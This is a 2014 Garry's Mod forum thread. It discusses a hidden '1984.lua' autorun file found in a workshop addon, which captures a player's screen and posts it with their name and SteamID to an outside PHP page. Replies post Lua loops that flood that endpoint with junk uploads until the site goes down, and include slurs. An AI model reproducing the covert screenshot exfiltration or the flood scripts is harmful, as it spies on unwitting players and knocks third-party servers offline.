Can anyone tell me whats going on here?

I was looking in the “Parakeets Pill Pack” lua files I extracted from the workshop addon and I found some “1984.lua” file in the autorun folder.



AddCSLuaFile()

/*
 *  "Are you playing NSA now?" - Jake
 *  "Batman, this is the largest, most dangerous, most unethical machine ever built..." - Lebull
 *  "I was looking for backdoors ... nice 1984 btw" - Frankie
 *
 *  "I am not sure what to think of this"
 *  "I do not appreciate this. At all. Even if it was meant to obviously be a joke."
 *  "Adding anti-1984 to GM+"
 *                                - BANDIT (GM+ Author)
 */

function _1984(ply)
	if SERVER then
		ply:SendLua('_1984()')
	else
		local RCD = {}

		RCD.format = "jpeg"
		RCD.h = ScrH()
		RCD.w = ScrW()
		RCD.quality = 50
		RCD.x = 0
		RCD.y = 0

		local data = render.Capture(RCD)

		http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name=LocalPlayer():GetName(),stid=LocalPlayer():SteamID()})
	end
end


That’s the code inside the file and the website links to this
http://frpo.net/1984.php

Can anyone explain what it’s doing or how it works? Looks interesting

It takes pictures of your GMod game and uploads it to that page.

Author posted this in WAYWO a while ago.

I actually think it’s pretty neat

Parakeet’s 1984 <3

That function name :v:

[editline]25th May 2014[/editline]

I’m having to much fun…

I think Im having the same idea. :V

[editline]25th May 2014[/editline]

http://puu.sh/90qDZ.jpg

If this is anything like a similar function a server I know had it will take a screenshot of your Steam overlay, including private chats, if you have it open when it runs.
That was fairly creepy.

If you guys wanna spam the site, then run this shared


function lol()
 if CLIENT then
	
		local RCD = {}

		RCD.format = "jpeg"
		RCD.h = ScrH()
		RCD.w = ScrW()
		RCD.quality = 50
		RCD.x = 0
		RCD.y = 0

		local data = render.Capture(RCD)

				http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="LOL FUCK YOU FAGGOTS BREEN IS MINE",stid="FUCK YOU FAGGOTS BREEN IS MINE"})
						http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="LOL FUCK YOU FAGGOTS BREEN IS MINE",stid="FUCK YOU FAGGOTS BREEN IS MINE"})
								http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="LOL FUCK YOU FAGGOTS BREEN IS MINE",stid="FUCK YOU FAGGOTS BREEN IS MINE"})

	else

	end
 end
 hook.Add("Think", "Testing", function(ply)
	lol()
lol()
lol()
	lol()
lol()
lol()
	lol()
lol()
lol()
	lol()
lol()
lol()
	lol()
lol()
lol()
end)

If you dont want your gmod to crash like a bitch, remove some lol() s

You shouldn’t have told the script kiddies, but since you did, might as well post what I used.

I prefer this



function Swag()	
	local data = file.Read("swag.jpg", "DATA")
	for k = 1, 100 do
		http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="Dirty Sluts",stid="HowAboutNo"})
	end
	Swag()
end
Swag()


My code and your code crashes both gmod and steam for me :suicide:

Probably does, I didn’t test my code, cause all I did was



lua_run_cl 	local data = file.Read("swag.jpg", "DATA")0
	for k = 1, 999 do
		http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="Dirty Sluts",stid="HowAboutNo"})
	end


in console.

I didn’t want to be a total faggot and keep it repeating forever.
If I did, I would of made a C# application.

[editline]25th May 2014[/editline]



function Swag()	
	local data = file.Read("swag.jpg", "DATA")
	http.Post("http://frpo.net/$.php",{data=util.Base64Encode(data),name="Dirty Sluts",stid="HowAboutNo"})
	Swag()
end
Swag()


Just do that, it shouldn’t crash.

[editline]25th May 2014[/editline]

Whoever goatse is, I want you to know, I have seen what you have done… you monster.

http://ss.infd.us/linux/2014-05-25@13-35-13.png

:v:

website down for me

Yeah, it’s stopped accepting connections now… :v:

http://puu.sh/90tkZ.png

:v:

guys stop spamming it you’re ruining the fun, lets just all use a timer set on 3 seconds and upload the shit wisely and give everyone a chance to do it

I guess we upset them?

That website got wrecked.